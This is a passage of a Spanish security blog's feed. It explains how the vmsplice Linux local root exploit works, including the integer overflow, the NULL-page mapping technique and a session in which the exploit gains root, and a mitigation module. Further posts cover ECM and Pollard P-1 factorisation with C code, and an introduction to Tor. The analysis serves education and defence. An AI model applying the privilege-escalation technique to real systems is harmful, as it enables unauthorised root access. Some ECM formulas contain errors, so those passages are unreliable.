href="http://www.milw0rm.com/exploits/5092"&gt;http://www.milw0rm.com/exploits/5092&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.milw0rm.com/exploits/5093"&gt;http://www.milw0rm.com/exploits/5093&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Veamos un ejemplo con el segundo exploit:&lt;br /&gt;&lt;br /&gt;$ uname -r&lt;br /&gt;2.6.23&lt;br /&gt;&lt;br /&gt;$ gcc exploit.c&lt;br /&gt;$ ./a.out&lt;br /&gt;-----------------------------------&lt;br /&gt;Linux vmsplice Local Root Exploit&lt;br /&gt;By qaaz&lt;br /&gt;-----------------------------------&lt;br /&gt;[+] addr: 0xc011481b&lt;br /&gt;[+] root&lt;br /&gt;$ id&lt;br /&gt;uid=0(root) gid=0(root) grupos=501(user)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;La llamada al sistema vmsplice:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;vmsplice es una llamada al sistema que puede ser accedida desde espacio de usuario mediante syscall().&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;syscall(__NR_vmsplice, fd, iov, nr_segs, flags);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Encontramos su implementación en fs/splice.c, en las fuentes del kernel Linux:&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:100%;"  &gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;asmlinkage long sys_vmsplice(&lt;br /&gt;   int fd, const struct iovec __user *iov,&lt;br /&gt;   unsigned long nr_segs, unsigned int flags)&lt;br /&gt;{&lt;br /&gt;...&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Nos interesa prestar atención a los parámetros recibidos por la llamada al sistema, pues son los que el usuario puede controlar al llamar a la función.&lt;br /&gt;&lt;br /&gt;Cuando un usuario llama a sys_vmsplice() se produce la siguiente secuencia de llamadas:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;span style="font-family:courier new;"&gt;- sys_vmsplice()&lt;/span&gt;  &lt;span style="font-family:courier new;"&gt;  - vmsplice_to_pipe()&lt;/span&gt;  &lt;span style="font-family:courier new;"&gt;    - get_iovec_page_array()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Dado que el bug se encuentra en &lt;span style="font-family:courier new;"&gt;get_iovec_page_array()&lt;/span&gt; nos interesará saber qué parámetros de la misma puede controlar el usuario. Es decir, qué parámetros de &lt;span style="font-family:courier new;"&gt;sys_vmsplice()&lt;/span&gt; llegan hasta &lt;span style="font-family:courier new;"&gt;get_iovec_page_array()&lt;/span&gt; y si estos parámetros pasan por algun filtro durante el proceso.&lt;br /&gt;&lt;br /&gt;Si leemos con atención las funciones implicadas vemos que desde la llamada a &lt;span style="font-family:courier new;"&gt;sys_vmsplice()&lt;/span&gt; hasta la ejecución de la función vulnerable  &lt;span style="font-family:courier new;"&gt;get_iovec_page_array()&lt;/span&gt; se mantienen los parámetros:  iov y nr_segs.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;La función get_iovec_page_array():&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La función &lt;span style="font-family:courier new;"&gt;get_iovec_page_array()&lt;/span&gt; es la función vulnerable que el exploit aprovecha para obtener privilegios de root. Como se ha comentado en el apartado anterior, el usuario puede controlar los parámetros iov y nr_segs de esta función.&lt;br /&gt;&lt;br /&gt;Observemos el siguiente código de la función vulnerable:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    &lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;struct iovec entry;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;if(copy_from_user_mmap_sem(&amp;amp;entry, iov, sizeof(entry)))&lt;br /&gt;   break;&lt;br /&gt;...&lt;br /&gt;len = entry.iov_len;&lt;br /&gt;...&lt;br /&gt;npages = (off + len + PAGE_SIZE - 1) &gt;&gt; PAGE_SHIFT;&lt;br /&gt;if (npages &gt; PIPE_BUFFERS - buffers)&lt;br /&gt;   npages = PIPE_BUFFERS - buffers;&lt;br /&gt;&lt;br /&gt;error = get_user_pages(current, current-&gt;mm,&lt;br /&gt;      (unsigned long) base, npages, 0, 0,&lt;br /&gt;      &amp;amp;pages[buffers], NULL);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;"iov" es copiada en "entry" y el valor de "iov_len" asignado a la variable "len". Por lo tanto, el usuario tiene el control de la variable "len".&lt;br /&gt;A continuación se calcula "npages" mediante &lt;span style="font-family:courier new;"&gt;off + len + PAGE_SIZE - 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En la función &lt;span style="font-family:courier new;"&gt;get_user_pages()&lt;/span&gt; se asume que npages es como mínimo 1. Dado que "len" no debe ser 0,  &lt;span style="font-family:courier new;"&gt;off + len + PAGE_SIZE - 1 &lt;/span&gt;siempre será mayor o igual que PAGE_SIZE. Sin embargo, si "len" tiene un valor cercano a &lt;span style="font-family:courier new;"&gt;UINT32_MAX&lt;/span&gt;, entonces npages podría valer 0 (&lt;a href="http://h4ck1t.blogspot.com/2007/06/integer-overflow.html"&gt;integer overflow&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Como consecuencia &lt;span style="font-family:courier new;"&gt;get_user_pages()&lt;/span&gt; podría retornar más de &lt;code style="font-family: courier new;"&gt;PIPE_BUFFERS &lt;/code&gt;entradas, lo que como veremos a continuación, produce un &lt;a href="http://h4ck1t.blogspot.com/2006/12/buffer-overflow-i.html"&gt;buffer overflow&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A continuación, en &lt;span style="font-family:courier new;"&gt;get_iovec_page_array()&lt;/span&gt;, viene el siguiente código:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;for (i = 0; i &amp;lt; error; i++) &lt;br /&gt;{&lt;br /&gt;   const int plen = min_t(size_t, len, PAGE_SIZE - off);&lt;br /&gt;&lt;br /&gt;   partial[buffers].offset = off;&lt;br /&gt;   partial[buffers].len = plen;&lt;br /&gt;&lt;br /&gt;   off = 0;&lt;br /&gt;   len -= plen;&lt;br /&gt;   buffers++;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El tamaño del array "partial" es PIPE_BUFFERS pero como hemos comentado, el valor de "error" será superior a este. Por lo tanto, las estructuras de datos que se encuentren a continuación de "partial" serán sobreescritas con "off" y "plen".&lt;br /&gt;&lt;br /&gt;Normalmente la víctima de esta sobreescritura es el array "pages" que contiene punteros. En este caso, por ejemplo, se podria sobreescribir "pages" con valores NULL.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cómo ejecutar código arbitrario:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Normalmente cuando el Kernel intenta acceder a un puntero NULL se obtiene una excepción que finaliza el proceso. Pero existe una técnica que puede ser usada por el atacanta para que en lugar de obtener un error se ejecute código arbitrario. Esta técnica consiste en mapear la dirección 0 y guardar allí datos que permitiran el control del usuario y la ejecución de código en el contexto del kernel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;Posibles soluciones:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sin duda la mejor solución al problema consiste en actualizar el kernel o aplicar el parche correspondiente. Pero en casos de que eso no sea posible, por ejemplo, por la imposibilidad de reiniciar la máquina, puede usarse el siguiente módulo:&lt;br /&gt;&lt;a href="http://home.powertech.no/oystein/ptpatch2008/ptpatch2008.c"&gt;&lt;br /&gt;http://home.powertech.no/oystein/ptpatch2008/ptpatch2008.c&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;- &lt;a href="http://www.avertlabs.com/research/blog/index.php/2008/02/13/analyzing-the-linux-kernel-vmsplice-exploit/"&gt;Informe de McAfee Labs&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://www.coseinc.com/coseinc_linux_advisory_3.pdf"&gt;http://www.coseinc.com/coseinc_linux_advisory_3.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-349819771237243165?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/349819771237243165/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=349819771237243165' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/349819771237243165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/349819771237243165'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/02/cmo-funciona-el-exploit-vmsplice.html' title='Cómo funciona el exploit vmsplice'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-4694342389090133531</id><published>2008-01-13T05:35:00.000-08:00</published><updated>2008-12-04T01:28:25.625-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Factorización'/><title type='text'>Factorización IV: El Método de Curva Elíptica</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;El siguiente artículo es el cuarto de una serie dedicada a la factorización de números enteros. Hasta ahora se han visto los algoritmos básicos de factorización como Pollard P-1, que aunque pueden parecer rápidos, tienen complejidad exponencial, lo que los incapacita para factorizar números relativamente grandes. También se han introducido algunos de los conceptos necesarios para profundizar en el tema que nos permitirán, en este artículo y en los siguientes, estudiar los tres algoritmos más rápidos de factorización. Estos son el Método de Curva Elíptica (ECM), La Criba Cuadrática (QS) y la Criba en el Campo de Números (NFS), los tres de complejidad subexponencial. Empezaremos por el Método de Curva Elíptica.&lt;br /&gt;&lt;br /&gt;En el artículo &lt;a href="http://h4ck1t.blogspot.com/2007/09/introduccin-la-criptografa-de-curva.html"&gt;Criptografía de Curva Elíptica&lt;/a&gt; dimos una introducción a este peculiar tipo de curvas y su aplicación a la criptografía. A continuación iremos un poco más lejos y veremos como aprovechar esta herramienta matemática para factorizar números enteros grandes.&lt;br /&gt;&lt;br /&gt;Para entender el siguiente artículo es necesario disponer de unos conocimientos básicos de curvas elípticas. En caso contrario, es recomendable leer primero el artículo mencionado anterioremente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;El Teorema de Lagrange:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si aplicamos el Teorema de Lagrange a las curvas elípticas no encontramos con algo interesante que nos conducizará al método de factorización mediante curvas elípticas.&lt;br /&gt;&lt;br /&gt;Si P es un punto en una curva elíptica E, entonces el orden de P dividirá el orden de E.&lt;br /&gt;&lt;br /&gt;Recordemos que el orden de E, representado como #E, corresponde al número de puntos que hay en una curva E. Mientras que el orden de P, corresponde al valor k más pequeño (diferente de O) tal que kP = O.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Imaginemos que queremos factorizar un número N. Si encontramos una curva E definida sobre N, cuyo orden sea B-smooth, para un valor de B suficientemente pequeño, nos encontraremos con que B!P = O.&lt;br /&gt;&lt;br /&gt;Esto ocurre debido a que #E es B-smooth y el orden de P debe ser un divisor de #E, tal y como nos indica el Teorema de Lagrange.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Factorización:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Encontrar un valor k tal que kP=O, en una curva mod N, es equivalente a encontrar un factor de N.&lt;br /&gt;&lt;br /&gt;Esto ocurre por que durante el proceso de cálculo de kP se realizan operaciones que necesitan que cierto número d tenga inversa d^(-1). Para que d sea invertible debe cumplirse que el máximo común divisor entre d i el módulo sea igual a 1.&lt;br /&gt;&lt;br /&gt;Pero ¿qué ocurre si d no tiene inversa? pues que el máximo común divisor entre d y el módulo N es diferente de 1. Con lo que tenemos un factor de N!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Imaginemos que queremos factorizar 4453. En este caso buscaríamos curvas aleatorias hasta encontrar una cuyo orden fuese B-smooth. Por ejemplo y²=x³+10x-2 mod 4453.&lt;br /&gt;&lt;br /&gt;Ahora calcularíamos, kP para un valor pequeño de K. Empezemos por 2P para, por ejemplo P=(1,3).&lt;br /&gt;&lt;br /&gt;(3x²+10) / 2y = 13 / 6 mod 4453      (derivada)&lt;br /&gt;&lt;br /&gt;Para calcular 13/6 necesitamos calcular 6^(-1). Dado que MCD(6, 4452) podemos hacerlo: 6^(-1) = 3711, con lo que obtenemos:&lt;br /&gt;&lt;br /&gt;13 / 6 = 3713 mod 4453&lt;br /&gt;x = 3713²-2 = 4332&lt;br /&gt;y = -3713(x-1)-3 = 3230&lt;br /&gt;&lt;br /&gt;Para calcular 3P hacemos 2P + P:&lt;br /&gt;&lt;br /&gt;(3230-3) / (4332-1) = 3227/4331.&lt;br /&gt;&lt;br /&gt;Igual que en el cálculo anterior, para poder calcular 3227/4331 es necesario que 4331 tenga inversa, es decir, que MCD(4331, 4453) sea 1. Pero si realizamos el cálculo vemos que MCD(4331, 4453)=61. Con lo que hemos encontrado un factor de N.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Complejidad:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El método de factorización mediante curvas elípticas és muy rápido. De hecho, cuando deseamos factorizar números enteros grandes i sabemos que undo de los factores es mucho menor que el otro, este método es el más rápido.&lt;br /&gt;&lt;br /&gt;Veamos a continuación por que és tan rápido.&lt;br /&gt;&lt;br /&gt;El teorema de Hasse nos dice que el orden #E satisface la siguiente ecuación:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;p+1-2 sqr(p) &amp;#60; #E &amp;#60; p+1-2 sqr(p) &lt;/div&gt;&lt;br /&gt;Esto nos da una cierta idea del intervalo en el que puede moverse el valor #E. De esta manera sabemos que al generar una curva aleatoria, estamos obteniendo un valor entre este rango, de manera que si es B-smooth, conseguiremos factorizar N.&lt;br /&gt;&lt;br /&gt;El número estimado de operaciones que necesitaremos realizar para encontrar una curva B-smooth es el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;exp(sqr(2) + O(1) + sqr(lnp ln lnp)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Como vemos, el número de operaciones necesarias es subexponencial, esto proviene del hecho de que la complejidad de encontrar números smooth es también subexponencial. Lo mismo ocurre con los algoritmos QS y NFS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Software:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Actualmente la implementación libre más rápida de ECM es GMP-ECM, disponible en:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.komite.net/laurent/soft/ecm/"&gt;http://www.komite.net/laurent/soft/ecm/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;- Elliptic Curves, Number Theory and Cryptography. Lawrence C. Washington.&lt;br /&gt;- Prime Numbers, A Computational Perspective. Crandall &amp;amp; Pomerance.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-4694342389090133531?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/4694342389090133531/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=4694342389090133531' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4694342389090133531'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4694342389090133531'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/01/factorizacin-iv-el-mtodo-de-curva.html' title='Factorización IV: El Método de Curva Elíptica'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5444170000760369586</id><published>2007-11-21T11:25:00.000-08:00</published><updated>2008-12-04T01:28:25.640-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Factorización'/><title type='text'>Factorización III: P-1 de Pollard</title><content type='html'>&lt;div style="text-align: justify;"&gt; &lt;div style="text-align: justify;"&gt;Continuamos la serie de artículos sobre factorización con un algoritmo muy sencillo conocido como P-1 de Pollard.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;El algoritmo de factorización P-1 de Pollard parte de la idea de smoothness o suavidad. Un número se considera &lt;span style="font-weight: bold;"&gt;B-smooth&lt;/span&gt; cuando todos sus factores son más pequeños que B. Esta idea, puede ser usada con éxito como herramienta de factorización, usando como base el &lt;a href="http://en.wikipedia.org/wiki/Fermat%27s_little_theorem"&gt;Teorema Pequeño de Fermat&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;b^p = b  mod p&lt;br /&gt;b^(p-1) = 1 mod p&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;A partir de la formula anterior deducimos que b^(p-1) - 1 es múltiplo de p. De manera que si disponemos de un número n=pq el cual deseamos factorizar , podremos hacerlo si somos capaces de calcular b^(p-1).&lt;br /&gt;Inicialmente, esto puede parecer complicado, dado que no conocemos p. Pero supongamos que p-1 es B-smooth, para un valor de B bastante pequeño. Esto significaría que podemos calcular un valor M que contenga todos los factores de p-1, por ejemplo, calculando B!. Y si p-1 es un divisor de M, podemos aplicar el Teorema Pequeño de Fermat de la siguiente manera:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;b^M = 1 mod p&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Lo que nos llevarà a obtener un factor de n calculando el Máximo Común Divisor entre  b^M-1 y n.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;MCD(b^M-1, n)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para finalizar, adjunto un programa en C y un ejemplo de su uso.&lt;br /&gt;&lt;br /&gt;$  gcc pollard_pm1.c -lgmp -o pollard_pm1&lt;br /&gt;$ ./a.out 97231944203 10&lt;br /&gt;Factor = 888799&lt;br /&gt;Factor = 109397&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;/* Pollard P-1 */&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;gmp.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;mpz_t n, a, GCD, tmp, k;&lt;br /&gt;unsigned long int b;&lt;br /&gt;gmp_randstate_t state;&lt;br /&gt;&lt;br /&gt;if(argc!=3)&lt;br /&gt;{&lt;br /&gt;  printf("Usage: %s [n] [B]\n", argv[0]);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;mpz_init(n);&lt;br /&gt;mpz_init(tmp);&lt;br /&gt;mpz_init(a);&lt;br /&gt;mpz_init(GCD);&lt;br /&gt;mpz_init(k);&lt;br /&gt;&lt;br /&gt;mpz_set_str(n, argv[1], 10);&lt;br /&gt;b = atof(argv[2]);&lt;br /&gt;&lt;br /&gt;if(mpz_perfect_power_p(n) != 0)&lt;br /&gt;{&lt;br /&gt;  mpz_sqrt(tmp, n);&lt;br /&gt;  gmp_printf("factor: %Zd\n", tmp);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;mpz_sub_ui(tmp, n, 1);&lt;br /&gt;mpz_fac_ui(k, b);&lt;br /&gt;&lt;br /&gt;gmp_randinit_default(state);&lt;br /&gt;&lt;br /&gt;while(1)&lt;br /&gt;{&lt;br /&gt;  mpz_sub_ui(tmp, n, 1);&lt;br /&gt;  mpz_urandomm(a, state, tmp);&lt;br /&gt;&lt;br /&gt;  if (mpz_cmp_ui(a, 1) &amp;lt;= 0)&lt;br /&gt;     mpz_set_ui(a, 2);&lt;br /&gt;&lt;br /&gt;  mpz_powm(tmp, a, k, n);&lt;br /&gt;  mpz_sub_ui(tmp, tmp, 1);&lt;br /&gt;  mpz_abs(tmp, tmp);&lt;br /&gt;  mpz_gcd(GCD, tmp, n);&lt;br /&gt;&lt;br /&gt;  if (mpz_cmp_ui(GCD, 1) &amp;gt; 0)&lt;br /&gt;  {&lt;br /&gt;     if (mpz_probab_prime_p(GCD, 10) &amp;gt; 0)&lt;br /&gt;     {&lt;br /&gt;        gmp_printf("Factor = %Zd\n", GCD);&lt;br /&gt;        mpz_div(n, n, GCD);&lt;br /&gt;     }&lt;br /&gt;  }&lt;br /&gt;  if (mpz_cmp_ui(n, 1) == 0)&lt;br /&gt;  {&lt;br /&gt;     mpz_clear(a);&lt;br /&gt;     mpz_clear(GCD);&lt;br /&gt;     mpz_clear(tmp);&lt;br /&gt;     mpz_clear(n);&lt;br /&gt;     mpz_clear(k);&lt;br /&gt;     return 0;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if (mpz_probab_prime_p(n, 10) &amp;gt; 0)&lt;br /&gt;  {&lt;br /&gt;     gmp_printf("Factor = %Zd\n", n);&lt;br /&gt;     mpz_clear(a);&lt;br /&gt;     mpz_clear(GCD);&lt;br /&gt;     mpz_clear(tmp);&lt;br /&gt;     mpz_clear(n);&lt;br /&gt;     mpz_clear(k);&lt;br /&gt;     return 0;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5444170000760369586?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5444170000760369586/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5444170000760369586' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5444170000760369586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5444170000760369586'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/11/factorizacin-iii-p-1-de-pollard.html' title='Factorización III: P-1 de Pollard'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-4921797448289676968</id><published>2007-10-31T12:41:00.000-07:00</published><updated>2008-12-04T01:28:25.656-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redes'/><title type='text'>Introducción a las redes Tor</title><content type='html'>&lt;div style="text-align: justify;"&gt;Tor es un cojunto de herramientas que pretende conseguir el anonimato online. Usa una red de máquinas o nodos a través de los cuales enruta el tráfico de red, tal y como se muestra en el esquema siguiente:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_q551Ajwo8ak/RyiOtrokscI/AAAAAAAAAEc/9ld5y9jdhX8/s1600-h/tor.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_q551Ajwo8ak/RyiOtrokscI/AAAAAAAAAEc/9ld5y9jdhX8/s400/tor.png" alt="" id="BLOGGER_PHOTO_ID_5127505091219468738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como se ve en el dibujo una conexión a través de la red Tor usa tres nodos intermediarios entre el origen y el destino. De esta manera la máquina destino que recibe la conexión solo tendrá acceso a la IP del último nodo.&lt;br /&gt;&lt;br /&gt;Tor ofrece una interfaz &lt;a href="http://en.wikipedia.org/wiki/SOCKS"&gt;SOCKS&lt;/a&gt; a las aplicaciones, por lo que cualquier aplicación preparada para usar SOCKS podrá utilizar la red Tor sin problemas.&lt;br /&gt;Sin embargo, no es necesario que una aplicación disponga de soporte para SOCKS, dado que Tor distribuye un script llamado "torify" que permite que cualquier aplicación use la red tor.&lt;br /&gt;&lt;br /&gt;Este script emplea la herramienta tsocks para permitir que una aplicación use SOCKS de forma transparente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para que un usuario pueda conectarse a la red Tor necesita obtener un listado de nodos de la red. Este proceso, como indica el dibujo, se realiza sin cifrar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_q551Ajwo8ak/RyilRLoksdI/AAAAAAAAAEk/jcY0uqiGSz0/s1600-h/tor1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_q551Ajwo8ak/RyilRLoksdI/AAAAAAAAAEk/jcY0uqiGSz0/s400/tor1.png" alt="" id="BLOGGER_PHOTO_ID_5127529890360635858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;A continuación se empieza a crear el circuito por el que viajaran los datos en la red Tor. Cada servidor conoce únicamente al servidor que le proporciona los datos y al servidor al que se los envía. por lo que ninguna máquina conoce el recorrido completo. Además, en cada tramo, los servidores afectados negocian claves diferentes, impidiendo que las conexiones sean rastreadas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_q551Ajwo8ak/RyilX7okseI/AAAAAAAAAEs/CTkud9fsXa0/s1600-h/tor2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_q551Ajwo8ak/RyilX7okseI/AAAAAAAAAEs/CTkud9fsXa0/s400/tor2.png" alt="" id="BLOGGER_PHOTO_ID_5127530006324752866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Una vez el circuito ha sido establecido se utilizará durante unos diez minutos. Posteriormente se creará un circuito nuevo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_q551Ajwo8ak/RyildLoksfI/AAAAAAAAAE0/Vf4COkoaBU0/s1600-h/tor3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_q551Ajwo8ak/RyildLoksfI/AAAAAAAAAE0/Vf4COkoaBU0/s400/tor3.png" alt="" id="BLOGGER_PHOTO_ID_5127530096519066098" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La forma de instalar Tor depende en gran medida del sistema operativo utilizado, por lo que para instalarlo lo mejor es partir de la &lt;a href="http://www.torproject.org/documentation.html.es"&gt;documentación oficial&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Una vez instalado su uso es sencillo. Por ejemplo, podríamos torificar la aplicación netcat con el comando siguiente:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ torify nc www.google.com 80&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Observemos el funcionamiento de Tor. Si no usamos el comando "torify" vemos que estamos realizando una conexión directa a google.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ nc 